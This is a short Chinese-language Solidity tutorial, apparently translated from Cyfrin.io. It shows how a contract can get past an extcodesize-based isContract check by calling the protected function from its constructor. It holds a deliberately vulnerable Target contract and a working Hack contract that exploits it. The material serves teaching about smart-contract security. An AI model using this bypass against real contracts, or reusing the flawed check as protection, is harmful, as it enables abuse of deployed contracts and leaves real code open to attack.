欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的“绕过合同规模检查(代码示例)”
漏洞
如果一个地址是合约,那么该地址存储的代码大小应该大于0,对吧?
让我们看看如何创建一个extcodesize返回代码大小为0的合约。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Target {
function isContract(address account) public view returns (bool) {
// 该方法依赖于extcodesize,因为在构造函数执行期间代码尚未完全存储,
// 对于处于构建阶段的合约,该函数会返回0。
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
contract FailedAttack {
// 尝试调用Target.protected将会失败,
// Target阻止来自合约的调用
function pwn(address _target) external {
// 这将会失败
Target(_target).protected();
}
}
contract Hack {
bool public isContract;
address public addr;
// 当合约正在创建时,代码大小(extcodesize)为0。
// 这将绕过isContract()检查
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// 这能行
Target(_target).protected();
}
}